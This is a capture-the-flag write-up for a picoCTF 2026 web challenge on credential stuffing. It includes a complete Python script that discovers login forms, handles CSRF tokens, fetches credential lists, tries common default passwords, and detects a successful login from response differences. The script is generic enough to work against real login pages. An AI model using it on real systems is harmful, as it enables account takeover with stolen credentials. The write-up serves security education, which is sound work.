│ Category: Web Exploitation
│ Difficulty: Easy
│ Points: 100
│ Author: Imattas aka Zemi
────────────────────────────────────────────────────────────────────────────────
--[ Challenge Description ]--
│ Credential stuffing is the automated injection of stolen username and password
pairs into website login forms.
────────────────────────────────────────────────────────────────────────────────
--[ Recon / Initial Analysis ]--
This challenge is about credential stuffing -- a real-world attack technique
where an attacker uses lists of previously breached username/password pairs to
attempt automated logins on a target website. The challenge likely provides:
1. A web application with a login form
2. A wordlist or credential dump file (or reference to a well-known one)
3. The goal: find the correct credentials that grant access to the flag
:: Key Observations
- 100 points with 1344 solves means this is a straightforward challenge
- The description explicitly tells us the technique: inject stolen
username/password pairs
- We need to automate login attempts with a credential list
:: Common picoCTF Web Challenge Patterns
- Login forms that accept POST requests with username and password fields
- Success indicated by a 302 redirect or a response containing the flag
- Credential lists provided as downloadable files on the challenge page
- Sometimes cookies need to be maintained across requests (session handling)
────────────────────────────────────────────────────────────────────────────────
--[ Vulnerability / Observation ]--
The login form performs no rate-limiting or lockout, so it is vulnerable to
automated credential stuffing: an attacker can replay a list of breached
username/password pairs until one succeeds. The application leaks
success/failure through observable response differences (redirects, status
codes, the presence of the flag, or the absence of "Invalid"/"Incorrect" error
text).
────────────────────────────────────────────────────────────────────────────────
--[ Exploitation / Solution ]--
:: Attack Strategy
1. Enumerate the login form: Identify the login endpoint, HTTP method (POST),
and required parameters (e.g., username, password)
2. Obtain the credential list: The challenge likely provides a file with
username:password pairs, or hints at using a common wordlist
3. Automate the attack: Use Python with the requests library to iterate through
credential pairs, submitting each to the login form
4. Detect success: Check the HTTP response for indicators of successful login
(e.g., redirect, different status code, presence of "flag" or "picoCTF" in the
response body, absence of "Invalid" or "Incorrect" error messages)
:: Step-by-step
1. Visit the challenge URL and inspect the login form (view source, check
network tab in browser dev tools).
2. Identify the login endpoint: Usually /login, /api/login, or the form's action
attribute.
3. Download the credential list: Check the challenge description or page for
downloadable files.
4. Run the solve script: Automate credential testing with Python requests.
5. Extract the flag from the successful login response.
:: Manual Verification
Before scripting, try a few manual logins to understand:
- What does a failed login look like? (e.g., "Invalid credentials", HTTP 401)
- What parameters does the form submit?
- Are there any anti-CSRF tokens or cookies required?
────────────────────────────────────────────────────────────────────────────────
--[ Full Exploit Script ]--
-- python --
#!/usr/bin/env python3
"""
Credential Stuffing - picoCTF 2026
Category: Web Exploitation (100 points)
Description: Credential stuffing is the automated injection of stolen
username and password pairs into website login forms.
This script automates login attempts using a credential list against
the challenge's login form to find valid credentials and retrieve the flag.
Usage:
python3 solve.py --url <CHALLENGE_URL>
python3 solve.py --url <CHALLENGE_URL> --wordlist <CREDENTIAL_FILE>
Example:
python3 solve.py --url http://rescued-float.picoctf.net:12345
python3 solve.py --url http://rescued-float.picoctf.net:12345 --wordlist credentials.txt
"""
import requests
import argparse
import sys
import re
import os
import time
# --- Default credential lists ---
# Common credentials to try if no wordlist is provided
DEFAULT_CREDENTIALS = [
("admin", "admin"),
("admin", "password"),
("admin", "password123"),
("admin", "admin123"),
("admin", "123456"),
("root", "root"),
("root", "password"),
("root", "toor"),
("user", "user"),
("user", "password"),
("test", "test"),
("guest", "guest"),
("administrator", "administrator"),
("admin", "picoctf"),
("picoctf", "picoctf"),
("ctf", "ctf"),
("player", "player"),
]
def load_credentials(filepath):
"""
Load credentials from a file.
Supports formats:
username:password
username,password
username\tpassword
username password
"""
credentials = []
with open(filepath, 'r', errors='replace') as f:
for line in f:
line = line.strip()
if not line or line.startswith('#'):
continue
# Try different delimiters
for delimiter in [':', ',', '\t', ' ']:
if delimiter in line:
parts = line.split(delimiter, 1)
if len(parts) == 2:
credentials.append((parts[0].strip(), parts[1].strip()))
break
return credentials
def discover_login_form(session, base_url):
"""
Discover the login form by checking common endpoints and parsing HTML.
Returns (login_url, method, field_names).
"""
# Common login paths to try
login_paths = [
"/login", "/api/login", "/auth/login", "/signin", "/api/signin",
"/authenticate", "/api/authenticate", "/", "/index.html",
"/login.php", "/login.html",
]
for path in login_paths:
url = base_url.rstrip('/') + path
try:
resp = session.get(url, timeout=10, allow_redirects=True)
if resp.status_code == 200:
# Check for form elements in the response
html = resp.text.lower()
if 'password' in html or 'login' in html or '<form' in html:
print(f"[+] Found login page at: {url}")
# Try to extract form action and field names
action_match = re.search(r'<form[^>]*action=["\']([^"\']*)["\']', resp.text, re.IGNORECASE)
action = action_match.group(1) if action_match else path
# Resolve relative URLs
if action.startswith('/'):
login_url = base_url.rstrip('/') + action
elif action.startswith('http'):
login_url = action
else:
login_url = base_url.rstrip('/') + '/' + action
# Extract input field names
input_fields = re.findall(
r'<input[^>]*name=["\']([^"\']*)["\'][^>]*type=["\']?(password|text|email|hidden)["\']?',
resp.text, re.IGNORECASE
)
input_fields2 = re.findall(
r'<input[^>]*type=["\']?(password|text|email|hidden)["\']?[^>]*name=["\']([^"\']*)["\']',
resp.text, re.IGNORECASE
)
user_field = "username"
pass_field = "password"
all_fields = [(name, typ) for name, typ in input_fields] + \
[(name, typ) for typ, name in input_fields2]
for name, typ in all_fields:
if typ.lower() == 'password':
pass_field = name
elif typ.lower() in ('text', 'email') and name.lower() != 'csrf':
user_field = name
# Check for CSRF token
csrf_token = None
csrf_match = re.search(
r'<input[^>]*name=["\'](_?csrf_?[^"\']*)["\'][^>]*value=["\']([^"\']*)["\']',
resp.text, re.IGNORECASE
)
if csrf_match:
csrf_token = (csrf_match.group(1), csrf_match.group(2))
# Detect method
method_match = re.search(r'<form[^>]*method=["\']([^"\']*)["\']', resp.text, re.IGNORECASE)
method = method_match.group(1).upper() if method_match else "POST"
return login_url, method, user_field, pass_field, csrf_token
except requests.exceptions.RequestException:
continue
# Default fallback
return base_url.rstrip('/') + "/login", "POST", "username", "password", None
def try_login(session, login_url, method, user_field, pass_field,
username, password, csrf_token=None):
"""
Attempt a single login and return (success, response).
"""
data = {user_field: username, pass_field: password}
if csrf_token:
data[csrf_token[0]] = csrf_token[1]
try:
if method == "POST":
resp = session.post(login_url, data=data, timeout=10, allow_redirects=True)
else:
resp = session.get(login_url, params=data, timeout=10, allow_redirects=True)
except requests.exceptions.RequestException as e:
return False, None
# Check for success indicators
body = resp.text.lower()
success_indicators = [
'picoctf{', # Flag directly in response
'flag', # Flag reference
'welcome', # Successful login greeting
'dashboard', # Redirected to dashboard
'logged in', # Login confirmation
'success', # Generic success
]
failure_indicators = [
'invalid', # Invalid credentials
'incorrect', # Incorrect password
'denied', # Access denied
'failed', # Login failed
'error', # Error message
'wrong', # Wrong password
'try again', # Retry prompt
]
# Check if flag is directly in response
flag_match = re.search(r'picoCTF\{[^}]+\}', resp.text)
if flag_match:
return True, resp
# Check success vs failure indicators
has_success = any(ind in body for ind in success_indicators)
has_failure = any(ind in body for ind in failure_indicators)
if has_success and not has_failure:
return True, resp
# Check for redirect to different page (potential success)
if resp.history and resp.url != login_url:
if not has_failure:
return True, resp
return False, resp
def extract_flag(response):
"""Extract picoCTF flag from HTTP response."""
if response is None:
return None
# Check response body
flag_match = re.search(r'picoCTF\{[^}]+\}', response.text)
if flag_match:
return flag_match.group(0)
# Check response headers
for header, value in response.headers.items():
flag_match = re.search(r'picoCTF\{[^}]+\}', value)
if flag_match:
return flag_match.group(0)
# Check cookies
for cookie in response.cookies:
flag_match = re.search(r'picoCTF\{[^}]+\}', cookie.value)
if flag_match:
return flag_match.group(0)
return None
def solve(base_url, wordlist_path=None, rate_limit=0.0):
"""
Main solve routine:
1. Discover the login form
2. Load credentials
3. Attempt each credential pair
4. Extract the flag from a successful login
"""
session = requests.Session()
# Step 1: Discover the login form
print(f"[*] Discovering login form at {base_url}...")
login_url, method, user_field, pass_field, csrf = discover_login_form(session, base_url)
print(f"[+] Login URL: {login_url}")
print(f"[+] Method: {method}")
print(f"[+] Username field: {user_field}")
print(f"[+] Password field: {pass_field}")
if csrf:
print(f"[+] CSRF token field: {csrf[0]}")
# Step 2: Load credentials
if wordlist_path and os.path.exists(wordlist_path):
print(f"[*] Loading credentials from: {wordlist_path}")
credentials = load_credentials(wordlist_path)
print(f"[+] Loaded {len(credentials)} credential pairs")
else:
# Try to find a credentials file in the current directory or challenge page
print("[*] No wordlist specified, looking for credential files...")
for candidate in ['credentials.txt', 'creds.txt', 'users.txt', 'passwords.txt',
'wordlist.txt', 'logins.txt', 'userpass.txt']:
if os.path.exists(candidate):
print(f"[+] Found local file: {candidate}")
credentials = load_credentials(candidate)
print(f"[+] Loaded {len(credentials)} credential pairs")
break
else:
# Check if the challenge page links to a downloadable file
try:
resp = session.get(base_url, timeout=10)
file_links = re.findall(r'href=["\']([^"\']*(?:credentials|creds|wordlist|users|passwords)[^"\']*)["\']',
resp.text, re.IGNORECASE)
for link in file_links:
if link.startswith('/'):
file_url = base_url.rstrip('/') + link
elif link.startswith('http'):
file_url = link
else:
file_url = base_url.rstrip('/') + '/' + link
print(f"[*] Downloading credential file: {file_url}")
file_resp = session.get(file_url, timeout=10)
if file_resp.status_code == 200:
with open('credentials_downloaded.txt', 'w') as f:
f.write(file_resp.text)
credentials = load_credentials('credentials_downloaded.txt')
print(f"[+] Downloaded and loaded {len(credentials)} credential pairs")
break
else:
print("[*] No credential file found. Using default list.")
credentials = DEFAULT_CREDENTIALS
except Exception:
print("[*] Using default credential list.")
credentials = DEFAULT_CREDENTIALS
# Step 3: Try each credential pair
print(f"\n[*] Starting credential stuffing attack ({len(credentials)} pairs)...")
for i, (username, password) in enumerate(credentials):
if rate_limit > 0:
time.sleep(rate_limit)
success, resp = try_login(session, login_url, method, user_field,
pass_field, username, password, csrf)
if success:
print(f"\n[+] VALID CREDENTIALS FOUND: {username}:{password}")
# Try to extract flag
flag = extract_flag(resp)
if flag:
print(f"[+] FLAG: {flag}")
return flag
# If no flag in immediate response, try accessing other pages
print("[*] Login successful but flag not in response. Checking other pages...")
flag_pages = ['/flag', '/flag.txt', '/home', '/dashboard', '/profile',
'/admin', '/secret', '/', '/api/flag']
for page in flag_pages:
try:
page_url = base_url.rstrip('/') + page
page_resp = session.get(page_url, timeout=10)
flag = extract_flag(page_resp)
if flag:
print(f"[+] FLAG found at {page}: {flag}")
return flag
except Exception:
continue
print("[*] Flag not found in common locations. Check the session manually.")
print(f"[*] Cookies: {dict(session.cookies)}")
return None
# Progress indicator
if (i + 1) % 50 == 0:
print(f"[*] Tried {i + 1}/{len(credentials)} credentials...")
print(f"\n[!] No valid credentials found after {len(credentials)} attempts.")
return None
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Credential Stuffing Solver - picoCTF 2026")
parser.add_argument("--url", required=True,
help="Challenge base URL (e.g., http://host:port)")
parser.add_argument("--wordlist", type=str, default=None,
help="Path to credential wordlist (format: username:password per line)")
parser.add_argument("--rate-limit", type=float, default=0.0,
help="Delay between attempts in seconds (default: 0)")
args = parser.parse_args()
flag = solve(args.url, args.wordlist, args.rate_limit)
if flag:
print(f"\n{'='*50}")
print(f"FLAG: {flag}")
print(f"{'='*50}")
else:
print("\n[!] Failed to retrieve flag automatically.")
print("[*] Tips:")
print(" - Check the challenge page for downloadable credential files")
print(" - Inspect the login form manually with browser dev tools")
print(" - Try adjusting --rate-limit if the server is rate-limiting")
────────────────────────────────────────────────────────────────────────────────
--[ Key Takeaways ]--
- Credential stuffing replays known username/password pairs against a login form
that lacks rate-limiting or lockout protections.
- The first step is always enumeration: locate the login endpoint, the HTTP
method, the field names, and any CSRF token.
- Success detection relies on response differencing — flag presence, redirects,
or the absence of failure strings like "Invalid"/"Incorrect".
- Maintaining a requests.Session() preserves cookies so that a successful login
can be followed to flag-bearing pages (/flag, /dashboard, etc.).
- Be mindful of server-side rate-limiting; a configurable delay between attempts
avoids tripping defenses.